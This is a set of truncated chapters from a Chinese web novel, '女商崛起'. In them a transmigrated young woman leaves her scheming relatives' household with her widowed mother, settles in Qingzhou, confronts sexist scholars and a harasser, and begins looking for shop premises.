蒙面人心里一紧,赶紧回道:“回夫人的话,小的一直蒙着脸。” 赵夏兰把手中的帕子揉成了一团,一计不成,傅知乔必定有会防备,再想抓住机会怕是难了。 “管 7. 神魂归位 《女商崛起》全本免费阅读 春天生机盎然,听雪堂的围墙上爬了满鲜花藤蔓。 傅知乔干脆让人把躺椅搬到院子里,躺在上面小憩,饿了就吃糕点渴了就喝香茶,旁边有乖巧可爱的小丫鬟银杏陪她聊天。与她上一世的生活相比,不用早起、不用出差、不用开会……恍惚中有一种在过退休生活的感觉。 赵夏兰一计不成,一时间也不敢再使别的手段。 傅知乔这几天里也没闲着,把府里的情况摸了个透。银杏年纪小,下人们在谈论八卦的时候也没避开她,傅知乔从她嘴里知道了不少信息。 听雪堂里的丫鬟婆子原本有二十来个,她们虽是在大房伺候,但到底还是傅府里的丫鬟,签的是傅府的死契。 眼见在大房做事已经没了前途,想奔前途的管事仆妇们都想托关系去投靠二房,走不通关系而留下来的丫鬟婆子干活也不上心,吩咐她们做点事情都是磨磨蹭蹭的,所以那日她醒来,身边才会连一个照顾的丫鬟也没有 人往高处出走,傅知乔能理解。大房这边日薄西山,二房那边蒸蒸日上,明眼人都知道怎么选择。 府里改天换日,大房已经没有了立足的空间,继续待在府里伏低做小,看人脸色才能生存是她万万不能接受的。 现在整个傅家由傅明杰控制,他连傅长岳都能下毒手,更加不会善待她们母女。 从这几天下人们的态度可以看出来,碍于名声傅明杰可能会养着她们母女,也但就给口饭吃饿不死就行,要想保持千金大小姐的生活水准是不可能了。 出府的念头一日此一日强烈。 听雪堂里,崔嬷嬷正在帮她穿衣打扮,“姑娘,穿这套可好?” 傅知乔还处于孝期,穿着打扮都简单化了。一袭青莲色抹胸襦裙,外穿一件蚕丝轻纱褂子,梳起百合髻,淡雅中带了几分出尘的气质,唇上点了些淡淡的胭脂,更加衬得她肌肤如雪,白皙如玉的脸蛋也透出淡淡红粉色。 梳妆完毕,崔嬷嬷看了看天色,便叫丫鬟婆子备好早膳。 银杏帮她布菜,早膳用的是白粥、蒸饼、鸡汤还有几碟酱菜。 这具身体是个小鸟胃,傅知乔没吃几口就饱了,她放下筷子去喝鸡汤,说是鸡汤其实是药膳,余柔岚特地用来给她补身体的,肥美的母鸡加人参黄芪等中药材一起炖,是一道非常滋补养生的汤。 鸡汤看似简单却也要费一番功夫才做得好,首先要熬鸡汤,整只鸡放进瓦罐里文火炖上两个时辰,这样炖出来的鸡汤味道浓郁,汤色清亮。 可眼前的这碗鸡汤中飘着浮油,冒着腥气,一看就是没炖够时辰,让人无法下口。 下人们已经不上心到这个地步了吗?这样的菜也能端上桌? 傅知乔皱眉,摆手让下人撤下这道汤,不能再等下去了,她必须赶紧想办法脱离傅府才行。 吃完早膳,傅知乔照常去给余柔岚请安。 “娘,若不是您在佛祖面前诚心祈祷,女儿也不会这么快好起来,过几日就是佛诞日了,咱们可要好好去感谢佛祖才行!” 余柔岚信佛,在傅知乔生病昏迷期间,她整日烧香拜佛求菩萨佛祖保佑,渐渐的就有了早晚念经诵佛的习惯,尤其是心神不定时,她就会抄上几份经书来平复心情。 “嗯,瞧你这气色是大好了,娘是要去佛祖跟前还愿的。”余柔岚仔细瞧了瞧傅知乔的脸色。 四月初八是佛诞之日。 天刚蒙蒙亮,吃了两块点心垫肚,母女二人带着崔嬷嬷和银杏,让小厮德福驾着马车护送她们去上香。 因为是佛诞日,出城去广济寺上香的人很多,驾着马车的人在城门口排起了长队。 等了一会儿马车才慢慢驶出城门,车轮下发出“吱呀”的声响。 官道不比城里的青石板路,出了城马车开始颠簸,道路两旁的行人也在减少。 傅知乔强压自己激动心情,来了大魏已经一个多月了,她终于再次出门了。第一次出门是去书肆买书籍,便于了解这个世界,第二次就是来广济寺上香了。 广济寺在城外,天刚亮他们就起来赶路了。因为起的很早,兴奋劲过去后傅知乔就坐在马车里面昏昏欲睡了。 也不知过了多久,马车渐渐慢了下来,外面的喧嚣声变大,傅知乔揉了揉太阳穴,掀开车帘一看,山脚下已经陆陆续续停了很多马车。 广济寺矗立在山顶上,上山的石板路弯弯曲曲,九百九十九阶梯一直延伸到山顶,马车只能停在山脚,想上山要靠步行或者坐轿子。 德福搬着矮凳放在马车下,崔嬷嬷过来扶着傅知乔和余柔岚下来。 不愧是禹州城香火最旺盛的寺庙,上山的路边有各种小摊贩,大多都是卖面食、凉茶、糖人等各类小吃,非常热闹。 上山的石板路被僧人清扫得狠干净,沿途的山壁上也有雕刻的佛像。 登上石阶,就能看见映在绿树丛中的寺院,庙顶上铺满了金色的琉璃瓦,在朝霞的映照下显得金碧辉煌。 “广济寺”三个大字龙飞凤舞,气势非凡,据说是开国皇帝亲自写下的。 寺庙中央的有一棵百年菩提树,传说中只要站在树下,对着菩提树虔诚的许下心愿,就能得到佛祖的庇佑,心想事成。 然而,最让广济寺出名的不是这棵菩提树,而是寺里的东觉大师,传闻中他道行高深,有通天之能,来广济寺上香的人们都一样能得到他的指点。 “铛!铛!铛!”深沉而悠远的撞钟声响起。 余柔岚带着傅知乔、崔嬷嬷、银杏一行人进殿上香。 大殿内塑有佛祖的金身法相,形貌雄伟,旁边还有威武神煞的十八罗汉神像。殿内中间放置了一个巨大香炉,烟雾缭绕,寺庙独特的香味十分的能让人静下心来。 傅知乔之前并不是一个佛教信徒,她不太相信鬼神之说。经历过这一回后,她有点改观了,大千世界无奇不有,人们最好对未知的事物抱有敬畏之心。 她双手合十跪在蒲团上,看着庄严的佛像,诚心祈祷:愿佛祖保佑她平安顺遂,保佑远在另一个时空的父母无病无灾。 上完香求了平安符,捐完一大笔香油钱,余柔岚被小和尚引到一寺庙侧边的禅房小院里,她要为傅长岳念佛经,傅知乔陪着念了一会经文, 8. 搞钱 《女商崛起》全本免费阅读 从广济寺回来后,傅知乔狠狠唾弃了自己之前的咸鱼心态,傅家不是久留之地,她必须要尽快给自己找一条出路。 首先,要有忠心帮她做事的人。 崔嬷嬷是余柔岚当初陪嫁过来的人,不用怀疑,银杏是从小跟她一起长大的,自然也是忠心耿耿,还有傅长岳身边的小厮德福和文江文山两个护院,这几个都是忠心的。 把周围的人数了一圈,傅知乔心道,还好有几个可以做事的人,不然她有再多的想法也难以实现。 其次,出府这件事还需余柔岚的配合。 问题是,余柔岚会同意吗? 这天,傅知乔照常陪余柔岚用完早膳,崔嬷嬷很有眼色的退了出去,好让母女俩单独说些私房话。 看着眼带笑意的余柔岚,傅知乔有些犹豫到底要不要把傅长岳死亡的真相告诉她。 余柔岚才三十多岁,若是在自己那个世界,三十多岁正值壮年,独身一人也可以过的肆意潇洒。 可惜这里是大魏,寡妇的名声要跟随余柔岚一辈子。 傅知乔心底涌上一丝酸酸的情绪。 如今余柔岚正慢慢从失去傅长岳的伤痛里走出来,傅知乔不想去揭开这个伤疤,但受人蒙蔽的滋味更加不好受,纠结再三后还是决定把真相告诉她。 身为傅长岳的妻子,她有权知道真相。 “娘,我有话想跟你说。” “阿乔,怎么了?”看着神情严肃的傅知乔,余柔岚眼皮一跳,有种不太好的预感。 “您不觉得父亲死得蹊跷吗?”傅知乔与她对视:“禹州通往京城这条路,父亲走了不下五遍,为何单单这次出了意外?二叔说是江匪打劫……但真的是江匪吗?” “你是说……”余柔岚不敢置信地睁大眼睛,目光死死盯着傅知乔,呼吸微窒,“你说的真的?是二弟他们……” “我目前没有证据,但是……”傅知乔紧握住余柔岚颤抖的手,接着跟她梳理,“父亲尸骨未寒,二叔三叔如何在短短几日内就收拢了人心,成功代替父亲之位,那些掌柜为何都听他号令?只怕是早有预谋。” 接着她把在书房里,二房三房两兄弟拿走傅长岳的账本一事告诉了余柔岚。 余柔岚紧紧地握住自己的拳头,指甲几乎陷进肉里,她眼眶发红声音哽咽,骂道:“这群畜生,亏了长岳对他们那么好,从不以嫡长子的身份欺压他们……” 她狠狠捶着桌子,满腔的委屈和愤怒在此刻全部爆发。 等她慢慢平静下来,傅知乔凑上前,“娘,这个家我们不能久待了,您放心,我会安排好一切,快的话下个月我们就能离开。” “走?我们为什么要走?”余柔岚此刻出奇的冷静。 “既然二房三房想要财产,我就偏不让他们如愿。”余柔岚抬头,目光灼灼的看着傅知乔,冲口而出:“阿乔,我可以过继一个孩子,傅府的长子,长岳的嫡子,这个名头一定有人愿意的。” 余柔岚眸中燃起了烈火,她虽然没有儿子,但是可以从旁□□边过继一个男孩到她名下,这样一来大房有了继承人,大房的财产二房三房就抢不走了。 从小门户里的孩子一跃成为傅府大公子,没有人会拒绝的。 傅知乔理解余柔岚的想法,在大魏这种男权社会,一个家男人死了就等于没有了依靠,尤其是在没有男丁、只有妇孺的情况下,其他族人会以各种名义来抢夺遗产。 这也是大魏人看重男丁的原因。 余柔岚说要过继一个男丁的话时表情都扭曲了,傅知乔努力唤回她的神智:“娘,娘!你冷静些,来不及了,二叔他已经接管了外面的生意!” 对于傅明杰来说,已经吃到嘴的肉断然没有吐出来的理由,他一定会想尽办法阻止,强行过继一个孩子到傅长岳名下,只会连累那个无辜的孩子。 沉默半晌。 傅知乔轻声抚慰:“娘,傅府已经不再是我们的家了。” 余柔岚心里感到无比的悲凉,她在傅府生活了十多年,在这里成亲生子,听雪堂里的一草一木她都有感情了。 可她知道傅知乔说的是对的,傅府已经不再是她们的家。 看着如此冷静的女儿,余柔岚有些恍惚。她以为傅知乔会害怕、会大哭,可她看到的只有一张认真坚毅的脸,谈论自己父亲被害一事,冷静的就像在说别人的事,丝毫不见悲伤的情绪。 自己的女儿,似乎有些不一样了。 傅知乔说了一大堆,余柔岚始终无法下定决心。 在傅府里过日子至少不必为生存担忧,可若是出府,她们两个弱女子出了府又能干些什么呢?孤儿寡母的会不会受人欺负? “娘,爹托梦给我了。” 余柔岚猛然回神,声音颤抖:“他说什么了?” “梦里一片黑暗,爹穿着一身白衣……”傅知乔给她描述自己的梦境。 “爹说我长大了,往后就是家里的顶梁柱,他要我要好好照顾娘,还说会在天上保佑我们的。” 余柔默默流泪。 好半晌,她认命般的叹了口气,“娘都听你的。” 余柔岚摸了摸傅知乔的头,她是做娘的,怎么能一直让孩子冲在前面,不管丈夫是不是真的托梦给女儿,她都必须要振作起来,不能让女儿再为她担心了。 * 出府只是第一步,出府之后吃什么?住哪里? 谋定而后动,母女俩拉着手在房间里仔细合计了一番,最后决定去青州。 青州是余柔岚的祖籍,当年成亲时傅长岳在青州买了座宅子送给余柔岚,这座宅子的存在傅府里谁也不知道,傅明杰的手也伸不过来。 住的地方解决了,生活上怎么解决呢?衣食住行,哪样不需要花钱?总不能坐吃等死,还得找个生计赚钱才行。 目前母女二人只能靠着傅长岳遗留下来的财产维持生活,除开一些固定资产,余柔岚手头上的现银不过四五千两左右,傅知乔手上有一千多两,两人加起来的钱还不到六千两。 六千两银子看起来多,但她们出府后的宅子养护、下人小厮等每一项开支都要自己负责了,想要维持好的生活水平,这点钱是远远不够的。 余柔岚表示可以把自己的嫁妆拿出来,她本是一方县令的女儿,并非什么小门小户出身,只是她父亲为官清廉,加上去世的早并没有留下什么家产,余柔岚这个官家之女才嫁到了傅家这个商户人家。 但是,她的嫁妆并不丰厚。 “阿乔,都怪为娘无用……”眼看自己帮不上什么忙,余柔岚一脸歉意。 父亲 10. 自由了 《女商崛起》全本免费阅读 傅知乔拿到钱后直接去了傅府的祠堂。 祠堂大门被推开,光线照了进来,细细的灰尘在空气中飞扬,空中缭绕着浓郁的烧香后气息。 进门后入眼就是一尊尊牌位,密密麻麻叫人看了心里发憷,傅知乔的目光依次掠过每一尊牌位,停顿在了最后一尊牌位上。 那是傅长岳的牌位。 傅知乔跪在牌位前。 对她来说,傅长岳是真正的慈父。在她的记忆里,曾听到过傅长岳和余柔岚私底下说要帮傅知乔招个赘婿,让她一辈子留在傅家,不嫁到别人家去伏低做小,伺候公婆,只可惜…… 傅知乔收回思绪,对着傅长岳的牌位认真的磕了三个响头。 跪拜过后,她小心翼翼取下牌位放进盒中。 按理说傅长岳的牌位要放在傅家祠堂供奉,可此次离开她根本没有打算回来,所以傅长岳的牌位她是要一起带走的,她跟娘都离开了,不能把她爹单独留在这里。 回到听雪堂,崔嬷嬷带着银杏在收拾东西。 余柔岚在卧房里收拾衣物,收拾到一半时,她抱着傅长岳的衣服眼泪直掉,还未离开就已经开始不舍起来,再怎么说,这里都是她生活了十多年的家。 看到傅知乔进来后,她快速抹干眼泪挤出一个笑脸:“阿乔,你来啦!” 傅知乔假装没看见她眼里的泪光,“娘,父亲的牌位我们也带上。” “好好好!”余柔岚连说了三个好,目光痴痴望着锦盒,再也掩饰不住的哽咽起来。 傅知乔没有说话,悄悄退了出来。 在她出去后,余柔岚放声大哭。 傅知乔在房门口站了一会,听着房间里余柔岚的哭泣声,她轻轻抚摸着手上戴的佛珠,眼眸低垂,直到听到房里的声音渐渐小了下去她才转身离开。 她找到崔嬷嬷,面色平静吩咐道:“嬷嬷,你吩咐下去,我们不日就要离府,院子里的人若是有想离开的,发钱遣散了吧。” 崔嬷嬷欲言又止,最终什么都没说,招来院子里的丫鬟小厮,稀稀拉拉的十来个人站在院子里,她拿出一叠卖身契,把傅知乔的话传达了。 “今天叫大家来的原因想必大家也都知道了,诸位都是在听雪堂多年的老人了,若有想离府的,到我这里拿了自己的卖身契就可出府。” 她的话音刚落,下人们就开始躁动起来。 “真的吗?卖身契无条件给我们?” 崔嬷嬷点点头,让他们好好考虑去留。 夫人小姐都要离府了,他们下人们留在这里也没什么用,纷纷报上自己的名字要出府回老家。 “夫人小姐要去哪里,我就去哪里,崔嬷嬷,求您跟小姐夫人求求情,留下我们吧!”有两个丫鬟“噗通”跪下,抱着崔嬷嬷的大腿苦苦哀求。 崔嬷嬷看了她们两眼,微微叹了口气,这两个丫鬟是她亲自挑回来放在院子里做洒扫的,两个丫头原是罪臣抄家发卖出来的丫鬟,签了死契,除了傅府他们没有别的地方可去。 最终两个小丫鬟还是留下来了。 崔嬷嬷、银杏、德福、文江文山,还有这两个签了死契的丫鬟跟着她们一起去青州。 一连两天,听雪堂的院门紧闭不让任何人进来。 崔嬷嬷、银杏带着两个丫鬟麻利的收拾着行李,其他的丫鬟小厮都被遣散了,傅知乔和余柔岚两人也挽起袖子一起收拾行李,户籍和路引是必不可少的,贵重的东西都带走,整整收拾了两天才算完。 第三天,听雪堂院门打开了,傅知乔让德福去联系镖局,一路护送她们去青州。 从禹州到青州,路上至少要花十来天的时间,说不定还要露宿野外,安全是傅知乔最看重的,小心谨慎些总不会出问题。 行李一共装了满满三大马车,德福、文山、文江三人各自驾驶一辆马车,还有十来个带刀的大汉,个个身材高大威猛,眼神凌厉。 镖师的价格虽然贵,但是值! 魁梧的镖师们围在马车边,安全感满满。 傅家的府邸位于禹州的富人区,周围住的都是些有脸面的人,但再有脸面的人,也爱看热闹。 出发这天,搬运行李的声音引起了不少“热心”的邻居好奇,时不时就有人派仆人过来打听消息。 傅府里众人皆知,因为傅老爷意外去世,傅夫人无法接受大病了一场,傅知乔这个做女儿的要带母亲去乡下养病。 邻居们知道傅知乔是带着余柔岚去养病后,唏嘘之余也纷纷夸她有孝心。 百善孝为先,只要与孝字挨边的事情,都会得到理解。 赵夏兰带着傅妍儿还有三房的女眷们,站在门口与她们母女二人“惜惜拜别”。 马车里,傅知乔心情很好,赵夏兰要演一家和睦的戏码她当然会配合,只不过背地里嘛……傅长岳的仇她暂时报不了,但给二房三房的人找麻烦她还不是信手拈来。 她们前脚刚出禹州,后脚傅家二房三房两兄弟连合起来,将寡嫂和大哥唯一的血脉赶出家门的消息就会传的满大街都是,一想到傅明杰那张被气歪的脸,傅知乔就能笑出声来。 车夫扬鞭,马车沿着巷子出来,直到出了城门看见官道,视野渐渐变得开阔。 傅知乔挑开马车的帘子,清风轻轻抚过她的脸颊,抬头就是漫无边际的天空。 真好,她自由了! * 这个时代没有别的代步工具,只有马车和牛车,赶路极慢,一行人在路上走了近十来天,直到道路两旁的景色从人烟稀少变得繁华喧嚣。 大魏二十三年,五月初三,她们终于到达了青州城。 守城的官兵验了户籍和路引,一行人顺利进城。 青州和禹州距离大约几百里左右,从地理位置上看,青州夹在禹州和京城之间,是禹州通往京城的必经之路。 青州是省城,人口很多,水陆交通便利,商业兴盛,往来的商客、城外的农户、甚至于周围的城镇都会过来参加买卖交易,是一座繁华大城市。 傅长岳买给余柔岚的宅子位于城北的陵水巷,门口立着石狮,牌匾上的“傅府”二字写的颇有气势。 新傅府是个三进的院子,每个院落都有正房、厢房、下房,内院两侧有五间房十分宽敞,院内种植了榆树和柳树,盛夏天气树木高大翠绿,把整个院子装扮得十分美丽。 在这里守院子的人,是余柔岚的曾今的丫鬟黄嬷嬷。 当 11. 脏男人 《女商崛起》全本免费阅读 出了傅府,穿过两条巷子便来到了大街上,街道两侧满是行人,时不时有孩童在追逐玩耍,小贩们叫卖声、吆喝声不绝于耳。 大魏的民风颇为开放,街上有不少摆摊的妇人。 “油炸芝麻饼,又香又脆……” “猪肉酥饼,金黄酥亮……” 与进城时在马车匆匆看了两眼不同,傅知乔这回是沉浸式逛街,银杏紧紧跟在她身后,生怕跟丢了。 突然,不远处传来锣鼓声,只见穿着喜庆红衣的乐师们走在前面开路,后面是迎亲队伍,一路敲敲打打,热闹非凡。 新郎披红挂彩骑着马,十分喜庆,只是年纪看起来不小,胡子都花白了。 “银杏,走,我们去看看。” “哎!姑娘你小心点!”银杏十分担忧,自家小姐从未来过如此热闹的地方,万一被冲撞到了,后果不堪设想…… 迎亲队伍越来越近,人们自觉地退到道路两旁为新人让路,周围的人七嘴八舌地议论起来这场迎亲。 “是西街的何老爷成亲吗?” “啊?何老爷又成亲了?” “可不嘛!这已经是他娶的第三个老婆了,前两个都没了。” “啧啧,这何老爷艳福可是不浅呢!听说他家中还有八房小妾,个个都是美人!” “这么多美人,不知道何老爷是否应付得过来!” 这话惹的周围人都笑了起来,何老爷在本地是一个有名的风流人物,不过是贬义“风流”,在半百之年娶到一个二八年华的娇妻,更别说他家中还有八房小妾,话题性十足。 傅知乔无语,果然,任何时候风月话题都是最吸引人的。 “何老爷都多大年纪了,王家姑娘都能当他孙女了,他也不嫌害臊!”人群中传来了几句骂何老爷是老牛吃嫩草的声音,听声音好像是一个妇人。 傅知乔顿时来了兴趣。 这可是大魏,男尊女卑的时代,在这种环境下还能有人站出来鄙夷男方,可真是不容易。 妇人的话很快就遭到了反对。 “要我说,王家才是好福气,何老爷可是给了王家一千两聘礼呢!”一般人家成亲哪有这么多聘礼,一千两银子可以用到下辈子去了,说话的男子露出羡慕的神情。 中年妇人白了一眼说话的男人,“这福气给你女儿,你要不要?” 傅知乔循声看去,中年妇人头戴金钗身着华服,中等身高,腰身略粗,看上去有几分气势。 她显然家境不错,才有这样的底气说话。 “唉,你看看这排场,王家女儿嫁过去以后吃喝不愁,有什么不好的,不知道有多少人羡慕呢!” “我看最羡慕的是你吧!”中年妇人鄙夷的看一眼说话的男人,“何老爷的年纪比王姑娘她爹的年纪还要大,好好一个如花似玉的姑娘被嫁给一个糟老头子当填房,你以为她会愿意?” 何老爷娶王家姑娘,这已经不是一朵鲜花插在牛粪上可以形容的了,这分明是一朵鲜花插在了一坨快要风干的牛粪上! 像这种年龄差距很大的婚事,双方你情我愿,互相看上了成亲也很正常,可王家姑娘这情况明显不是这样的。 王家愿意把自己二八年华的女儿嫁给了半百之年的何老爷,是因为收了何家很多聘礼。 男子坚持自己的观点,反对道:“话不能这么说,男人大些会疼人,王家小姐嫁了过去,回头要是能生个儿子,以后何家的万贯家财也有她一份。” 这话倒是引起了周围一些人的同意,这门婚事双方都能得到一些好处,何家想要人,王家想要钱,唯一令人惋惜的就是新娘本人了。 中年妇人明显被他的话惹怒了:“我呸,王家这种做法明明是贪图富贵,卖女求荣!” 虽然说卖女求荣这类情况在大魏已经见怪不怪,但被人大庭广众下指出来还是很丢脸的。 “你这婆子,说话怎的这样难听,我、我不跟你争了。”男子缩着脖子悻悻缩回人群里。 迎亲队伍走过,看热闹的人也慢慢散开。傅知乔专心的逛起街来,她今天上街有两个原因,一来是熟悉熟悉这青州的风土人情,二来则是为了谋划她的创业大计。 据她观察,这条街上生意最好的是粮油、肉铺子,民以食为天嘛,吃是放在首位的,其次是些珠宝玉器行、漆器、金银铺、胭脂铺…… 傅知乔逛的眼花缭乱,逛累了就去茶馆里歇口气。 茶馆是人们消遣和交际的重要场所,傅知乔边喝茶边竖着耳朵听,希望能得到些有用的信息,结果听了好一会都是艳闻轶事。 果然茶馆里都是聊八卦的,看来今天是不会有什么收获了。 正当她戴上帷帽打算离开是,听到有人在讨论“何老爷”“成亲”的字眼。 她侧身望去,是几个书生模样的人,大多是十几二十多岁的年纪,穿着统一的青衿长衫,应该是城里正在读书的学子。 茶馆里每个茶座都有用纱帘隔开,有一定隐私性,但那些学子说话声很大,他们讨论的内容直接传进了她的耳朵里。 学子们的确在说西街何老爷娶亲之事,他们的观点分为两派,一边有人渴望执子之手与子偕老,觉得何老爷太过风流,另一边有人说娇妻美妾才是人生乐事。 两方人从议论慢慢变成了争论。 “弱水三千,取一瓢足以。”一个年纪偏小的书生开口。 “谁不喜欢年轻鲜嫩的女子,我要是何老爷,我也要娶个年轻貌美的。”说话的是小书生对面的白面书生,他言语间都是对何老爷的艳羡。 白面书生名叫严向青,是白鹿书院的学子。 严向青自诩有几分才华,可无奈家贫,在家里的安排下娶了个家里有钱但貌丑的妻子。他平日里自视甚高,对这门亲事一直不满,看到何老爷不惑之年却能娶年轻的妻子,纳貌美的小妾,令他十分羡慕。 因为在大魏平民百姓是没有资格纳妾的,三妻四妾是男子身份的象征,所以他很是羡慕何老爷。 严向青出身寒门,他梦想着有朝一日能考上科举,成为人上人,娶娇妻纳美妾,走上人生巅峰。 傅知乔压下心里的反感,她明白这种想法在这个时代是很正常的,起身离开时,又听到那年纪小的书生反驳:“可何老爷年过半百了,王家姑娘才二八年华,这……这太不合适吧。” “有什么不合适的,王家那穷酸样,何老爷能看上她已经是她家祖上冒青烟了,何老爷还给王家一大笔聘礼,她哪里来的资格嫌弃何老爷?”严向青很不屑。 听听这是人话吗? 因为家贫就家人当做货物嫁给有钱人,然后她还要被世人看不起,说她是攀高枝。这场婚事从头到尾,王家小姐都是被动的,父母之命媒妁之言,她压根就没有自己选择的权利。 这一刻,傅知乔狠狠共情到了这位王家姑娘。若不是自己穿了过来,“傅知乔”会遭受怎样的对待?会不会也像王家姑娘一样被嫁给糟老头子? “你羡慕何老爷三妻四妾也就算了,为何还要一再的贬低王家姑娘呢?” 傅知乔一个没忍住:“既然何老爷这么好,为何你不把自家女儿嫁过去,到时你也能收到一大笔聘礼,你的女儿也可以成为正经的何府夫人,岂不美哉?” 茶馆里的众人:…… 谁也没想到,会有女人站出来指责男人。 银杏被突然开口的傅知乔惊住了,那些书生也呆呆地看着她。 “亏你们还是读书人。”傅知乔语气带着几分鄙夷:“背后议论一个女子可不是君子所为!” 一群书生 12. 再次遇见 《女商崛起》全本免费阅读 或许是这句“脏男人”威力太大,茶馆里的其他人面面相觑,不敢插嘴,严向青也毫无还嘴之力。 在所有人瞠目结舌的目光中,傅知乔神清气爽出了茶馆。 银杏一脸星星眼望着她:“姑娘刚刚好有气势,把那些书生说的哑口无言了呢。” 她也觉得很解气,谁让那些书生看不起女子的,不过,她还是第一次见到这样的小姐,面对一群能言善辩的书生据理力争,丝毫不怯,整个人就像在发着光一样。 茶楼里的这点小插曲并没有影响傅知乔逛街的心情,她兴致勃勃又逛了小半个时辰,了解完青州城里铺子布局情况,正打算回去之际,路边的一个小摊位吸引了她的注意。 几个小娃娃围在一个小摊前,一副要流口水的模样。 小孩子的情绪是很直接的,是什么东西吸引了他们? 傅知乔来了兴致,走近一看,摆摊的人是个年纪约莫十六七岁的女子,容貌清秀,身形消瘦,穿着洗得发白的布衣,身前放着一个木桶,盖子上放着一碗类似稀饭的东西,她吸了吸鼻子,闻到一股熟悉的香味。 摆摊的女子与傅知乔目光相触,她连忙吆喝着:“自家酿的醪糟,用的是上好的糯米,又香又甜,客官买点尝尝吧!” 说着她打开木桶的盖子,只见桶内的饭粒浸泡后涨大了两倍,四周淌满了浑浊的汁液,一股淡淡的酒香扑鼻而来,还略带些酸味。 傅知乔眼睛一亮,木桶里装着的是醪糟! 醪糟是通过糯米发酵做成的,好的醪糟味道清甜,可以直接吃也可以煮着吃,若是在里面打个鸡蛋、煮些糯米丸子或加些红糖进去,味道会更好。 傅知乔没想到这里居然有醪糟卖,她走近一步闻了闻,这桶醪糟还不到时候,酒味淡味道酸,还需继续发酵一段时间直到甜味越来越浓才算完美。 她以前吃的都是做好的成品,这样原汁原味放在木桶里卖的还是头一次,这桶醪糟虽卖相一般,但胜在纯手工制作,有一股自然无添加的清香味。 正想去买,有人比她更快一步。 一个穿着锦袍的富家少爷站在摊子前,身后还跟着两个小厮,把围在一旁的小孩子全吓跑了。 富家少爷蹲下身语气轻浮:“醪糟很甜?我看呐,还是卖醪糟的人更甜。”说着就要去拉扯醪糟女的手,丝毫不掩饰自己的好色之意。 醪糟女脸色一白,双手攥紧衣角躲避男子的触碰,脸因为用力涨得通红,显得无助又可怜。 富家少爷身后小厮们听完哈哈大笑起来,讨好的附和着:“我家少爷买你的醪糟是看得起你,你可别不识抬举。” 周围已有不少人看着,但是都不敢出声制止,富家公子一看就知道身份和地位不一般,寻常人得罪不起,即便事情闹大了,告到了官府,最后吃亏的还是无权无势的老百姓。 此时,富家少爷手中的折扇已经抵在了醪糟女的下巴上,另一只手眼看就要摸到醪糟女的脸了。 看到他如此油腻轻浮的做派,傅知乔紧皱眉头,此人应该不是第一次干这事了,人长得还算人模狗样,但行事作风令人作呕。 傅知乔不想给自己找麻烦,但同为女子她实在看不惯这种欺凌发生,更别说她刚刚才教训了一群看不起女子、自视甚高的书生,这一刻,她心里的正义感占据了上风。 “住手!当街欺辱妇孺,你眼里还有没有王法?” 富家少爷身后的小厮闻声看了过来,指着傅知乔,“哪来的不长眼的东西,滚一边去,敢耽误我家少爷的好事,让你吃不了兜着走!” 有人看见傅知乔一个小女子有胆量出来制止,怕她也被牵连,好心提醒道:“这位姑娘,他是知府大人的侄儿,姑娘还是少管闲事吧!” 傅知乔听得直皱眉头,她忘了这里是权势社会了,人是分为三六九等的。 家里有当官的,她确实惹不起。 两个小厮直接伸手打掉了她的帷帽。 “王法?报官?你倒是去啊!哈哈哈……”富家少爷哈哈大笑起来。 回头看见傅知乔,他双眼骤然一亮。 没有帷帽掩盖,傅知乔的脸彻底露了出来,富家少爷见她长相娇美,身姿窈窕,胜过醪糟女百倍,心思一转打起了她的主意。 他喝斥小厮:“住嘴,你们怎么跟美人说话的?” 小厮们点头哈腰的对她赔礼。 傅知乔懒得看他们主仆演戏,见醪糟女已经聪明的躲到人群里了,她松了口气,转身就要离开。 两个小厮立刻上来堵住她的路。 看热闹的百姓怕波及到自己,自觉退后一步让出了一片空地。 “美人儿别走啊,你叫什么名字?家住在哪里?不如跟了少爷我,往后有享不尽的荣华富贵!” 富家少爷摇着一柄折扇越走越近,那种不加掩饰的打量让傅知乔浑身上下都觉得不舒服。 银杏的双腿已经开始发软了,扯了扯她的衣袖:“姑、姑娘,怎么办呐?” 要是姑娘要是出了什么意外,她便是万死也难以赎罪,尽管银杏很害怕,但她还是站在了傅知乔身前,替傅知乔挡住富家少爷那肆意的目光。 “美人儿,被我看中是你的福气!”富家少爷的笑声张狂且嚣张,说完,就要来摸她的手。 傅知乔是有几分拳脚功夫在身上的,不过她练拳击只是为了健身练力量,仅有的几次实战经验还是跟自己教练打。对方人多势众,实力悬殊过大,她十分确定自己打不过,更何况还有银杏这个小“拖油瓶”在。 傅知乔一扭身把银杏护在身后,她尽量使自己保持冷静,双脚一前一后摆出拳击的站位,将身体的重心控制在前脚掌上,准备随时给富家公子来上一脚。 无论如何,她都不可能任由别人欺负。 富家公子的手越来越近。 傅知乔的心跳的飞快。 突然,一个身影闪过,富家少爷瞬间就被踢飞了出去。 一切发生的太快,所有人都没有反应过来。 “谁?是谁?吃了熊心豹子胆了?”男子痛苦倒地,双手下意识身护着被踹腹部,嘴里发出哀嚎。 谢卓刚从茶馆里出来准备回府,马车走到半道上突然停了,车夫说前方有人在闹事,路被堵住了。 谢卓有武艺在身,耳力极佳,听着外面的吵闹声觉得有几分熟悉。 掀开车帘,本是不经意的一瞟,却看见几个男子围着一个女子欺负,而被围住的人正是茶馆的那位姑娘。 眼见那男子的手快要碰到她的肩膀了,谢卓来不及多想,从马车里飞身跃出一脚把男子踢开了。 “保护 13. 买铺子 《女商崛起》全本免费阅读 两日后,傅知乔带上崔嬷嬷和德福出门,银杏在一旁憋着嘴,一副你要抛弃我的可怜模样,傅知乔好笑的逗她,“银杏乖啊,等我摸清楚这边的情况再带你出门。” 没办法,银杏比她还小两岁呢,这青州她人生地不熟的,为了避免上次差点被欺负的情况出现,她还是带上更靠谱的人出门比较好。 相比禹州,青州城的路修的格外宽。 城内正中间一条长约千米,宽约三十米的大道,可以从城门直通官府。这条大道被称为“御道”,据说是以前为了抵御外敌特意修建的,战争时,大量兵马聚集可以在此听候差遣,死守城门以防敌人攻进来。 这条御道把青州城分为南北两部分,官员和富商大多居住在北边,南边为商业和居民区。 城内的街道纵横交错,宛似一块不规则的棋盘,道路两旁是各式各样的铺子、酒楼、客栈,越往里走就越热闹,还有很多在路边的摊贩在招揽顾客,充满了人间烟火味。 上次出门是探探情况,今天出门是想找铺子,她虽然手握足够多的资金,但总有坐吃山空的一天。 一行人转了好几条街都没有看见合适的,经营良好的铺子不会轻易出租,有些设施陈旧、地理位置不好的铺子她也看不上,做生意一事急不得,傅知乔的心态放的很平。 逛了好几条街道,几个人都有点累了,找了家食肆进去歇歇脚,顺便填饱肚子。 伙计们都很机灵,看了看傅知乔穿戴,一个劲的给她推荐贵的点心和茶水。 